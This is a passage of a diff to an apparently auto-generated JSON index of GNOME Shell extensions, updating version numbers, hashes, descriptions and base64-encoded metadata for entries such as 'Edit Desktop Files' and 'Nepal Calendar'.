     "46": {"version": "22", "sha256": "0iszffbmfgdblbsf749pmp3g1fk9mvwz8yaz5zy35k0rln5wwhn7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR05PTUUgU2hlbGwgZXh0ZW5zaW9uIHRoYXQgcHJvdmlkZXMgYSBjaGF0Ym90IGludGVyZmFjZSB1c2luZyB2YXJpb3VzIExMTSBwcm92aWRlcnMsIGluY2x1ZGluZyBBbnRocm9waWMsIE9wZW5BSSwgR2VtaW5pLCBhbmQgT3BlblJvdXRlci4gRmVhdHVyZXMgaW5jbHVkZSBtdWx0aXBsZSBwcm92aWRlciBzdXBwb3J0LCBjdXN0b21pemFibGUgbW9kZWxzLCBjaGF0IGhpc3RvcnksIGN1c3RvbWl6YWJsZSBhcHBlYXJhbmNlLCBhIGtleWJvYXJkIHNob3J0Y3V0LCBhbmQgY29weS10by1jbGlwYm9hcmQgZnVuY3Rpb25hbGl0eS4iLAogICJleHRlbnNpb24taWQiOiAicGVuZ3Vpbi1haS1jaGF0Ym90IiwKICAibmFtZSI6ICJQZW5ndWluOiBBSSBDaGF0Ym90IiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnBlbmd1aW4tYWktY2hhdGJvdCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL21hcnRpamFyYS5naXRodWIuaW8vUGVuZ3Vpbi1BSS1DaGF0Ym90LWZvci1HTk9NRS8iLAogICJ1dWlkIjogInBlbmd1aW4tYWktY2hhdGJvdEBjb2ZmZWVjaW9uYWRvLmdpdGxhYi5pbyIsCiAgInZlcnNpb24iOiAyMgp9"},
@@ -8579,11 +8605,11 @@
 , {"uuid": "pastaleaves@salitha.info", "name": "Pastafarian Holy Days", "pname": "pastafarian-holy-days", "description": "This extension adds today’s Pastafarian holiday to your GNOME top bar.\n\nWondering what His Noodly Appendage has blessed us with? 🍝 Click the text to uncover the full saucy significance of the day and bask in its carb-filled glory.\n\n-------------------------------\nFeatures:\n\n🍝 Daily Holiday Insights: Never let another Pastafarian holiday pass you by! Your top bar now serves as your spiritual colander, straining out the blandness of everyday life.\n\n🍥 Expand for Extra Sauce: Click to dive deeper into today’s noodly celebration—whether it’s a solemn moment of pasta reflection or a call for a pirate hat and rum.\n\n🍕 Lightweight and Unobtrusive: Takes up no more space than a humble meatball but delivers all the flavor of a full pasta platter.\n\n🧄 Useless but Delicious: Adds zero practical value but 100% more spiritual carbs to your desktop.\n-------------------------------\n\nWhy settle for an ordinary top bar when you can have one blessed by pasta? With Important Today, every day is a holy day.\n\nLet your desktop be touched by His Noodly Appendage.\nR'amen!", "link": "https://extensions.gnome.org/extension/7394/pastafarian-holy-days/", "shell_version_map": {
     "46": {"version": "3", "sha256": "0p3i3dpidxns1rf21lcmxdjcmpk3glrdqrqyx760x9gf05hxv85s", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgYW5kIHJlbWluZCB5b3Ugb2YgdXBjb21pbmcgUGFzdGFmYXJpYW4gaG9seSBkYXlzIG9uIHlvdXIgR05PTUUgZGVza3RvcCIsCiAgIm5hbWUiOiAiUGFzdGFmYXJpYW4gSG9seSBEYXlzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NhbGl0aGEtcGF0aGkvZ25vbWUtcGFzdGFmYXJpYW4taG9saWRheXMiLAogICJ1dWlkIjogInBhc3RhbGVhdmVzQHNhbGl0aGEuaW5mbyIsCiAgInZlcnNpb24iOiAzLAogICJ2ZXJzaW9uLW5hbWUiOiAiMS4wLjEiCn0="}
   }}
-, {"uuid": "editdesktopfiles@dannflower", "name": "Edit Desktop Files", "pname": "edit-desktop-files", "description": "Edit desktop files by right-clicking their app icon.\n\nThis extension will attempt to use the GNOME Text Editor by default. If it is not installed, or you prefer to use a different editor, this can be changed in the preferences.", "link": "https://extensions.gnome.org/extension/7397/edit-desktop-files/", "shell_version_map": {
-    "45": {"version": "5", "sha256": "1gh4x9fb2xmjin6c3ir0v5nafcc2l8p2yazbvsq7b9x44ka3yz74", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkVkaXQgZGVza3RvcCBmaWxlcyBieSByaWdodC1jbGlja2luZyB0aGVpciBhcHAgaWNvbi5cblxuVGhpcyBleHRlbnNpb24gd2lsbCBhdHRlbXB0IHRvIHVzZSB0aGUgR05PTUUgVGV4dCBFZGl0b3IgYnkgZGVmYXVsdC4gSWYgaXQgaXMgbm90IGluc3RhbGxlZCwgb3IgeW91IHByZWZlciB0byB1c2UgYSBkaWZmZXJlbnQgZWRpdG9yLCB0aGlzIGNhbiBiZSBjaGFuZ2VkIGluIHRoZSBwcmVmZXJlbmNlcy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJlZGl0ZGVza3RvcGZpbGVzQGRhbm5mbG93ZXIiLAogICJuYW1lIjogIkVkaXQgRGVza3RvcCBGaWxlcyIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5lZGl0ZGVza3RvcGZpbGVzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGFubmZsb3dlci9lZGl0LWRlc2t0b3AtZmlsZXMiLAogICJ1dWlkIjogImVkaXRkZXNrdG9wZmlsZXNAZGFubmZsb3dlciIsCiAgInZlcnNpb24iOiA1Cn0="},
-    "46": {"version": "5", "sha256": "1gh4x9fb2xmjin6c3ir0v5nafcc2l8p2yazbvsq7b9x44ka3yz74", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkVkaXQgZGVza3RvcCBmaWxlcyBieSByaWdodC1jbGlja2luZyB0aGVpciBhcHAgaWNvbi5cblxuVGhpcyBleHRlbnNpb24gd2lsbCBhdHRlbXB0IHRvIHVzZSB0aGUgR05PTUUgVGV4dCBFZGl0b3IgYnkgZGVmYXVsdC4gSWYgaXQgaXMgbm90IGluc3RhbGxlZCwgb3IgeW91IHByZWZlciB0byB1c2UgYSBkaWZmZXJlbnQgZWRpdG9yLCB0aGlzIGNhbiBiZSBjaGFuZ2VkIGluIHRoZSBwcmVmZXJlbmNlcy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJlZGl0ZGVza3RvcGZpbGVzQGRhbm5mbG93ZXIiLAogICJuYW1lIjogIkVkaXQgRGVza3RvcCBGaWxlcyIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5lZGl0ZGVza3RvcGZpbGVzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGFubmZsb3dlci9lZGl0LWRlc2t0b3AtZmlsZXMiLAogICJ1dWlkIjogImVkaXRkZXNrdG9wZmlsZXNAZGFubmZsb3dlciIsCiAgInZlcnNpb24iOiA1Cn0="},
-    "47": {"version": "5", "sha256": "1gh4x9fb2xmjin6c3ir0v5nafcc2l8p2yazbvsq7b9x44ka3yz74", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkVkaXQgZGVza3RvcCBmaWxlcyBieSByaWdodC1jbGlja2luZyB0aGVpciBhcHAgaWNvbi5cblxuVGhpcyBleHRlbnNpb24gd2lsbCBhdHRlbXB0IHRvIHVzZSB0aGUgR05PTUUgVGV4dCBFZGl0b3IgYnkgZGVmYXVsdC4gSWYgaXQgaXMgbm90IGluc3RhbGxlZCwgb3IgeW91IHByZWZlciB0byB1c2UgYSBkaWZmZXJlbnQgZWRpdG9yLCB0aGlzIGNhbiBiZSBjaGFuZ2VkIGluIHRoZSBwcmVmZXJlbmNlcy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJlZGl0ZGVza3RvcGZpbGVzQGRhbm5mbG93ZXIiLAogICJuYW1lIjogIkVkaXQgRGVza3RvcCBGaWxlcyIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5lZGl0ZGVza3RvcGZpbGVzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGFubmZsb3dlci9lZGl0LWRlc2t0b3AtZmlsZXMiLAogICJ1dWlkIjogImVkaXRkZXNrdG9wZmlsZXNAZGFubmZsb3dlciIsCiAgInZlcnNpb24iOiA1Cn0="},
-    "48": {"version": "7", "sha256": "01pli9bc4vfp71f6vga6ca0bfblpyrbc8km1wj31wiazvdxg47p9", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkVkaXQgZGVza3RvcCBmaWxlcyBieSByaWdodC1jbGlja2luZyB0aGVpciBhcHAgaWNvbi5cblxuVGhpcyBleHRlbnNpb24gd2lsbCBhdHRlbXB0IHRvIHVzZSB0aGUgR05PTUUgVGV4dCBFZGl0b3IgYnkgZGVmYXVsdC4gSWYgaXQgaXMgbm90IGluc3RhbGxlZCwgb3IgeW91IHByZWZlciB0byB1c2UgYSBkaWZmZXJlbnQgZWRpdG9yLCB0aGlzIGNhbiBiZSBjaGFuZ2VkIGluIHRoZSBwcmVmZXJlbmNlcy4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJlZGl0ZGVza3RvcGZpbGVzQGRhbm5mbG93ZXIiLAogICJuYW1lIjogIkVkaXQgRGVza3RvcCBGaWxlcyIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5lZGl0ZGVza3RvcGZpbGVzIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0Rhbm5mbG93ZXIvZWRpdC1kZXNrdG9wLWZpbGVzIiwKICAidXVpZCI6ICJlZGl0ZGVza3RvcGZpbGVzQGRhbm5mbG93ZXIiLAogICJ2ZXJzaW9uIjogNwp9"}
+, {"uuid": "editdesktopfiles@dannflower", "name": "Edit Desktop Files", "pname": "edit-desktop-files", "description": "Edit desktop entry files by right-clicking their app icon.\n\nThis extension opens the desktop entry with your system’s default application for .desktop files (usually GNOME Text Editor). To use a different editor, update your system’s default application for .desktop files or set a custom command in the extension’s preferences.", "link": "https://extensions.gnome.org/extension/7397/edit-desktop-files/", "shell_version_map": {
+    "45": {"version": "8", "sha256": "0fmbgrlxxxwfgd44qgj6pn2mv49bls3b2i1gzsf8gnvqzqlzrkja", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkVkaXQgZGVza3RvcCBlbnRyeSBmaWxlcyBieSByaWdodC1jbGlja2luZyB0aGVpciBhcHAgaWNvbi5cblxuVGhpcyBleHRlbnNpb24gb3BlbnMgdGhlIGRlc2t0b3AgZW50cnkgd2l0aCB5b3VyIHN5c3RlbVx1MjAxOXMgZGVmYXVsdCBhcHBsaWNhdGlvbiBmb3IgLmRlc2t0b3AgZmlsZXMgKHVzdWFsbHkgR05PTUUgVGV4dCBFZGl0b3IpLiBUbyB1c2UgYSBkaWZmZXJlbnQgZWRpdG9yLCB1cGRhdGUgeW91ciBzeXN0ZW1cdTIwMTlzIGRlZmF1bHQgYXBwbGljYXRpb24gZm9yIC5kZXNrdG9wIGZpbGVzIG9yIHNldCBhIGN1c3RvbSBjb21tYW5kIGluIHRoZSBleHRlbnNpb25cdTIwMTlzIHByZWZlcmVuY2VzLiIsCiAgImdldHRleHQtZG9tYWluIjogImVkaXRkZXNrdG9wZmlsZXNAZGFubmZsb3dlciIsCiAgIm5hbWUiOiAiRWRpdCBEZXNrdG9wIEZpbGVzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmVkaXRkZXNrdG9wZmlsZXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGFubmZsb3dlci9lZGl0LWRlc2t0b3AtZmlsZXMiLAogICJ1dWlkIjogImVkaXRkZXNrdG9wZmlsZXNAZGFubmZsb3dlciIsCiAgInZlcnNpb24iOiA4Cn0="},
+    "46": {"version": "8", "sha256": "0fmbgrlxxxwfgd44qgj6pn2mv49bls3b2i1gzsf8gnvqzqlzrkja", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkVkaXQgZGVza3RvcCBlbnRyeSBmaWxlcyBieSByaWdodC1jbGlja2luZyB0aGVpciBhcHAgaWNvbi5cblxuVGhpcyBleHRlbnNpb24gb3BlbnMgdGhlIGRlc2t0b3AgZW50cnkgd2l0aCB5b3VyIHN5c3RlbVx1MjAxOXMgZGVmYXVsdCBhcHBsaWNhdGlvbiBmb3IgLmRlc2t0b3AgZmlsZXMgKHVzdWFsbHkgR05PTUUgVGV4dCBFZGl0b3IpLiBUbyB1c2UgYSBkaWZmZXJlbnQgZWRpdG9yLCB1cGRhdGUgeW91ciBzeXN0ZW1cdTIwMTlzIGRlZmF1bHQgYXBwbGljYXRpb24gZm9yIC5kZXNrdG9wIGZpbGVzIG9yIHNldCBhIGN1c3RvbSBjb21tYW5kIGluIHRoZSBleHRlbnNpb25cdTIwMTlzIHByZWZlcmVuY2VzLiIsCiAgImdldHRleHQtZG9tYWluIjogImVkaXRkZXNrdG9wZmlsZXNAZGFubmZsb3dlciIsCiAgIm5hbWUiOiAiRWRpdCBEZXNrdG9wIEZpbGVzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmVkaXRkZXNrdG9wZmlsZXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGFubmZsb3dlci9lZGl0LWRlc2t0b3AtZmlsZXMiLAogICJ1dWlkIjogImVkaXRkZXNrdG9wZmlsZXNAZGFubmZsb3dlciIsCiAgInZlcnNpb24iOiA4Cn0="},
+    "47": {"version": "8", "sha256": "0fmbgrlxxxwfgd44qgj6pn2mv49bls3b2i1gzsf8gnvqzqlzrkja", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkVkaXQgZGVza3RvcCBlbnRyeSBmaWxlcyBieSByaWdodC1jbGlja2luZyB0aGVpciBhcHAgaWNvbi5cblxuVGhpcyBleHRlbnNpb24gb3BlbnMgdGhlIGRlc2t0b3AgZW50cnkgd2l0aCB5b3VyIHN5c3RlbVx1MjAxOXMgZGVmYXVsdCBhcHBsaWNhdGlvbiBmb3IgLmRlc2t0b3AgZmlsZXMgKHVzdWFsbHkgR05PTUUgVGV4dCBFZGl0b3IpLiBUbyB1c2UgYSBkaWZmZXJlbnQgZWRpdG9yLCB1cGRhdGUgeW91ciBzeXN0ZW1cdTIwMTlzIGRlZmF1bHQgYXBwbGljYXRpb24gZm9yIC5kZXNrdG9wIGZpbGVzIG9yIHNldCBhIGN1c3RvbSBjb21tYW5kIGluIHRoZSBleHRlbnNpb25cdTIwMTlzIHByZWZlcmVuY2VzLiIsCiAgImdldHRleHQtZG9tYWluIjogImVkaXRkZXNrdG9wZmlsZXNAZGFubmZsb3dlciIsCiAgIm5hbWUiOiAiRWRpdCBEZXNrdG9wIEZpbGVzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmVkaXRkZXNrdG9wZmlsZXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGFubmZsb3dlci9lZGl0LWRlc2t0b3AtZmlsZXMiLAogICJ1dWlkIjogImVkaXRkZXNrdG9wZmlsZXNAZGFubmZsb3dlciIsCiAgInZlcnNpb24iOiA4Cn0="},
+    "48": {"version": "8", "sha256": "0fmbgrlxxxwfgd44qgj6pn2mv49bls3b2i1gzsf8gnvqzqlzrkja", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkVkaXQgZGVza3RvcCBlbnRyeSBmaWxlcyBieSByaWdodC1jbGlja2luZyB0aGVpciBhcHAgaWNvbi5cblxuVGhpcyBleHRlbnNpb24gb3BlbnMgdGhlIGRlc2t0b3AgZW50cnkgd2l0aCB5b3VyIHN5c3RlbVx1MjAxOXMgZGVmYXVsdCBhcHBsaWNhdGlvbiBmb3IgLmRlc2t0b3AgZmlsZXMgKHVzdWFsbHkgR05PTUUgVGV4dCBFZGl0b3IpLiBUbyB1c2UgYSBkaWZmZXJlbnQgZWRpdG9yLCB1cGRhdGUgeW91ciBzeXN0ZW1cdTIwMTlzIGRlZmF1bHQgYXBwbGljYXRpb24gZm9yIC5kZXNrdG9wIGZpbGVzIG9yIHNldCBhIGN1c3RvbSBjb21tYW5kIGluIHRoZSBleHRlbnNpb25cdTIwMTlzIHByZWZlcmVuY2VzLiIsCiAgImdldHRleHQtZG9tYWluIjogImVkaXRkZXNrdG9wZmlsZXNAZGFubmZsb3dlciIsCiAgIm5hbWUiOiAiRWRpdCBEZXNrdG9wIEZpbGVzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmVkaXRkZXNrdG9wZmlsZXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGFubmZsb3dlci9lZGl0LWRlc2t0b3AtZmlsZXMiLAogICJ1dWlkIjogImVkaXRkZXNrdG9wZmlsZXNAZGFubmZsb3dlciIsCiAgInZlcnNpb24iOiA4Cn0="}
   }}
 , {"uuid": "disable-three-finger@lxp-git.github.com", "name": "Disable 3 Finger Gestures", "pname": "disable-3-finger-gestures", "description": "Disable the default three-finger touchpad gestures in GNOME.", "link": "https://extensions.gnome.org/extension/7403/disable-3-finger-gestures/", "shell_version_map": {
     "47": {"version": "4", "sha256": "0b2q945j6kzbcdxpknyzhlfbzvzlx8jncw60nhkfkdhsnxfvg6v8", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc2FibGUgdGhlIGRlZmF1bHQgdGhyZWUtZmluZ2VyIHRvdWNocGFkIGdlc3R1cmVzIGluIEdOT01FLiIsCiAgIm5hbWUiOiAiRGlzYWJsZSAzIEZpbmdlciBHZXN0dXJlcyIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5kaXNhYmxlLXRocmVlLWZpbmdlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbHhwLWdpdC9kaXNhYmxlLXRocmVlLWZpbmdlciIsCiAgInV1aWQiOiAiZGlzYWJsZS10aHJlZS1maW5nZXJAbHhwLWdpdC5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDQsCiAgInZlcnNpb24tbmFtZSI6ICIxLjEuMSIKfQ=="},
@@ -8672,10 +8698,10 @@
     "46": {"version": "1", "sha256": "04s5mnaza7px1n8w950iima5vhxrgpcrvg2ys1kdwgysq4mxdksd", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgRXRoZXJldW0gZ2FzIHByaWNlIG9uIHRoZSBwYW5lbC5cblxuIEl0IGlzIHVzaW5nIEV0aGVyc2NhbiAoZXRoZXJzY2FuLmlvKSBzZXJ2aWNlIiwKICAibmFtZSI6ICJFdGhlcmV1bSBHYXMgUHJpY2UgVHJhY2tlciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcHVsc2Fub3JhY2xlL2dub21lX3NoZWxsX2V0aGVyZXVtX2dhc190cmFja2VyIiwKICAidXVpZCI6ICJldGhlcmV1bV9nYXNfdHJhY2tlckBwdWxzYW5vcmFjbGUuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDEKfQ=="}
   }}
 , {"uuid": "nepali-calendar-gs-extension@subashghimire.info.np", "name": "Nepal Calendar", "pname": "nepali-calendar", "description": "Shows Nepali date along with events and festivals.", "link": "https://extensions.gnome.org/extension/7490/nepali-calendar/", "shell_version_map": {
-    "45": {"version": "11", "sha256": "0afwdh9wf4l3lgzvm7d3hggnjhlp8px8854rdmmxp5vbkqjfkzr3", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3dzIE5lcGFsaSBkYXRlIGFsb25nIHdpdGggZXZlbnRzIGFuZCBmZXN0aXZhbHMuIiwKICAibmFtZSI6ICJOZXBhbCBDYWxlbmRhciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5uZXBhbC1jYWxlbmRhciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9QdWJsaXNoZXJOYW1lL25lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb24iLAogICJ1dWlkIjogIm5lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb25Ac3ViYXNoZ2hpbWlyZS5pbmZvLm5wIiwKICAidmVyc2lvbiI6IDExCn0="},
-    "46": {"version": "11", "sha256": "0afwdh9wf4l3lgzvm7d3hggnjhlp8px8854rdmmxp5vbkqjfkzr3", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3dzIE5lcGFsaSBkYXRlIGFsb25nIHdpdGggZXZlbnRzIGFuZCBmZXN0aXZhbHMuIiwKICAibmFtZSI6ICJOZXBhbCBDYWxlbmRhciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5uZXBhbC1jYWxlbmRhciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9QdWJsaXNoZXJOYW1lL25lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb24iLAogICJ1dWlkIjogIm5lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb25Ac3ViYXNoZ2hpbWlyZS5pbmZvLm5wIiwKICAidmVyc2lvbiI6IDExCn0="},
-    "47": {"version": "11", "sha256": "0afwdh9wf4l3lgzvm7d3hggnjhlp8px8854rdmmxp5vbkqjfkzr3", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3dzIE5lcGFsaSBkYXRlIGFsb25nIHdpdGggZXZlbnRzIGFuZCBmZXN0aXZhbHMuIiwKICAibmFtZSI6ICJOZXBhbCBDYWxlbmRhciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5uZXBhbC1jYWxlbmRhciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9QdWJsaXNoZXJOYW1lL25lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb24iLAogICJ1dWlkIjogIm5lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb25Ac3ViYXNoZ2hpbWlyZS5pbmZvLm5wIiwKICAidmVyc2lvbiI6IDExCn0="},
-    "48": {"version": "11", "sha256": "0afwdh9wf4l3lgzvm7d3hggnjhlp8px8854rdmmxp5vbkqjfkzr3", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3dzIE5lcGFsaSBkYXRlIGFsb25nIHdpdGggZXZlbnRzIGFuZCBmZXN0aXZhbHMuIiwKICAibmFtZSI6ICJOZXBhbCBDYWxlbmRhciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5uZXBhbC1jYWxlbmRhciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9QdWJsaXNoZXJOYW1lL25lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb24iLAogICJ1dWlkIjogIm5lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb25Ac3ViYXNoZ2hpbWlyZS5pbmZvLm5wIiwKICAidmVyc2lvbiI6IDExCn0="}
+    "45": {"version": "12", "sha256": "0zs8zhbd2ry7w9yx2z4ifxd742p8npp1fy7r89ynlalzbl8ikflz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3dzIE5lcGFsaSBkYXRlIGFsb25nIHdpdGggZXZlbnRzIGFuZCBmZXN0aXZhbHMuIiwKICAibmFtZSI6ICJOZXBhbCBDYWxlbmRhciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5uZXBhbC1jYWxlbmRhciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9QdWJsaXNoZXJOYW1lL25lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb24iLAogICJ1dWlkIjogIm5lcGFsaS1jYWxlbmRhci1ncy1leHRlbnNpb25Ac3ViYXNoZ2hpbWlyZS5pbmZvLm5wIiwKICAidmVyc2lvbiI6IDEyCn0="},
